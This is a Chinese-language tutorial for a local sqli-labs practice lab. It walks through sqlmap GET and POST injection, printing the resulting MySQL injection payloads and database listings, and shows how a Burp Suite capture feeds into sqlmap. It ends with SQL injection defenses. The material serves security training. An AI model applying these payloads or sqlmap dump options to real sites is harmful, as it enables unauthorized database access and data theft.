靶场准备

1
  docker run -dt --name sqli-labs -p 8090:8090 tavenli/sqli-labs

浏览器打开 http://127.0.0.1:8090/

sqlmap安装

教程

官网(https://sqlmap.org/)下载后并解压

基本使用例子

1
  python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --batch

如下是找到注入点

如下是没有找到注入点

sqlmap常用参数

-p 指定测试参数 -b 获取banner –dbs 列举数据库 –is-dba 是否是管理员权限 –current-db 当前数据库 –current-user 当前用户 –tables 列举数据库的表名 –count 检索所有条目数 –columns 获取表的列名 –dump 获取表中的数据,包含列 –dump-all 转存DBMS数据库所有表项目 –level 测试等级(1-5),默认为1 -v 显示详细信息 –delay 1(1秒)表示延时1秒进行注入

sqlmap注入

get方式注入

1
  python ./sqlmap.py -u "http://127.0.0.1:8090/Less-1/?id=056zhn" --batch

实验结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 9075=9075 AND 'Aobx'='Aobx

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x7176766b71,(SELECT (ELT(5512=5512,1))),0x716a787a71),5512) AND 'bXzR'='bXzR

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5909 FROM (SELECT(SLEEP(5)))bSoI) AND 'hYrh'='hYrh

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8543' UNION ALL SELECT NULL,NULL,CONCAT(0x7176766b71,0x4f7670415052735950636c594d5545537058787a675a78664367717569524f564565444a52524a55,0x716a787a71)-- -
---
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP 5.5.38
back-end DBMS: MySQL >= 5.6

post方式注入

1
  python ./sqlmap.py -u "http://127.0.0.1:8090/Less-11/?id=1" --data="uname=056zhn&passwd=123&submit=Submit" --batch --dbs

实验结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: uname=12' OR NOT 1957=1957#&passwd=123&submit=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=12' AND GTID_SUBSET(CONCAT(0x71766b7871,(SELECT (ELT(4417=4417,1))),0x717a707171),4417)-- SJLv&passwd=123&submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=12' AND (SELECT 9333 FROM (SELECT(SLEEP(5)))king)-- QsIp&passwd=123&submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=12' UNION ALL SELECT NULL,CONCAT(0x71766b7871,0x6e5573725368617774744c4e4e48764242796b7876424b4269746e5a72665a5359584b4851587948,0x717a707171)#&passwd=123&submit=Submit
---
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP 5.5.38
back-end DBMS: MySQL >= 5.6
available databases [6]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys

burpsuite使用

安装

到官网下载社区版本 https://portswigger.net/burp/communitydownload

启动

1
   java -jar ./burpsuite_community_v2022.3.9.jar

使用

打开内嵌浏览器

获取录制文本,类似下面格式

再使用sqlmap发送注入

1
  python ./sqlmap.py -l /home/056zhn/log.txt --batch --dbs

实验结果

sql注入防范

  1. 普通用户与系统管理员用户的权限要有严格的区分。如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。

  2. 强迫使用参数化语句。如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

  3. 加强对用户输入的验证。总体来说,防治SQL注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤,如拒绝一些特殊的符号。如以上那个恶意代码中,只要存储过程把那个分号过滤掉,那么这个恶意代码也就没有用武之地了。在执行SQL语句之前,可以通过数据库的存储过程,来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下,应该让数据库拒绝包含以下字符的输入。如分号分隔符,它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容,故可以直接把他拒绝掉,通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉,那么即使在SQL语句中嵌入了恶意代码,他们也将毫无作为。故始终通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施

  4. 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现SQL注入式漏洞,并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了